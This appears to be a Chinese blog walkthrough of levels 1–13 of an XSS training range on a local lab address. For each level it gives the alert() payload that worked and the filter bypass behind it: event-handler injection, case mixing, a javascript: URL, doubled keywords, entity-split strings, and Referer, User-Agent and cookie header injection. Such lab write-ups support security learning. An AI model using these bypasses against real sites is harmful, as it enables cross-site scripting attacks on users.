xsschallenge靶场练习1-13关

文章目录

      • 第一关
      • 第二关
      • 第三关
      • 第四关
      • 第五关
      • 第六关
      • 第七关
      • 第八关
      • 第九关
      • 第十关
      • 第十一关
      • 第十二关
      • 第十三关

第一关

xsschallenge靶场练习1-13关_第1张图片

观察页面

http://192.168.80.139/xsschallenge/level1.php?name=test

尝试在name=后面输入最近基本的xss语法

<script>alert(1)</script>

xsschallenge靶场练习1-13关_第2张图片

第二关

xsschallenge靶场练习1-13关_第3张图片

查看页面源代码

xsschallenge靶场练习1-13关_第4张图片

可以通过构造闭合

"> <script>alert(1)</script>

xsschallenge靶场练习1-13关_第5张图片

第三关

xsschallenge靶场练习1-13关_第6张图片

查看页面源代码

xsschallenge靶场练习1-13关_第7张图片

发现过滤了特殊字符

通过单引号闭合,使用触发事件来绕过

' οnclick='alert(/xss/)

xsschallenge靶场练习1-13关_第8张图片

第四关

xsschallenge靶场练习1-13关_第9张图片

过滤了< >标签

可是试着尝试上一关的方法

" οnclick="alert(1)

xsschallenge靶场练习1-13关_第10张图片

第五关

xsschallenge靶场练习1-13关_第11张图片

通过查看源码得知,替换了scriptscr_ipt

使用大写绕过,看看是否可行

<SCRIPT>alert(10)</SCRIPT>

xsschallenge靶场练习1-13关_第12张图片

发现还是不行,后端把 我们输入的大写,替换成了小写

尝试其他方法绕过,使用伪协议

"> <a href=javascript:alert(1)>demo</a>

xsschallenge靶场练习1-13关_第13张图片

第六关

输入测试,查看源代码,依旧替换了script

xsschallenge靶场练习1-13关_第14张图片

"><Img sRc=# OnErRoR=alert(/xss/);>

xsschallenge靶场练习1-13关_第15张图片

第七关

使用上一关的通过代码,发现把on给过滤掉 了,还把href给过滤了

xsschallenge靶场练习1-13关_第16张图片

我们可以尝试点击事件,双写on,来绕过

" oonnclick=alert(1)//

xsschallenge靶场练习1-13关_第17张图片

第八关

在页面输入框中输入" onclick=alert(1)//

查看页面源代码,发现双引号被做了转义,只能通过其他方式去绕过

xsschallenge靶场练习1-13关_第18张图片

可以↓方式去绕过

j&#9;avasc&#10;r&#13;ipt:alert(/xss/)

xsschallenge靶场练习1-13关_第19张图片

第九关

j&#9;avasc&#10;r&#13;ipt:alert('http://')

xsschallenge靶场练习1-13关_第20张图片

第十关

xsschallenge靶场练习1-13关_第21张图片

没有输入框可以在地址栏中绕过

192.168.80.139/xsschallenge/level10.php?keyword=<script>alert(1)</script>

xsschallenge靶场练习1-13关_第22张图片

页面没有反应,

查看页面源代码,发现三个隐藏起来的输入框

xsschallenge靶场练习1-13关_第23张图片

xsschallenge靶场练习1-13关_第24张图片

可以尝试使用t_link\t_history\t_sort这三个 挨个尝试

发现只有 在t_sort输入的时候,才有变化

http://192.168.80.139/xsschallenge/level10.php?t_sort=<script>alert(1)</script>

xsschallenge靶场练习1-13关_第25张图片

构造其他方法

" type="test" οnclick="alert(1)

xsschallenge靶场练习1-13关_第26张图片

第十一关

代码审计

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'

查看页面代码

xsschallenge靶场练习1-13关_第27张图片

发现t_refvalue值是第十关的 地址

" type="button" οnclick="alert(1)

xsschallenge靶场练习1-13关_第28张图片

也可以使用bp抓取数据包修改Referer字段的值

第十二关

代码审计

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.'" type="hidden"> .'" type="hidden"> .htmlspecialchars($str00).'" type="hidden"> .$str33.'" type="hidden">
" type="button" οnmοuseοver="alert(1)"

xsschallenge靶场练习1-13关_第29张图片

第十三关

代码审计

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.'" type="hidden"> .'" type="hidden"> .htmlspecialchars($str00).'" type="hidden"> .$str33.'" type="hidden">
user=" type="button" οnmοuseοver="alert(1)"

xsschallenge靶场练习1-13关_第30张图片

你可能感兴趣的:(#,渗透测试,xss,网络安全)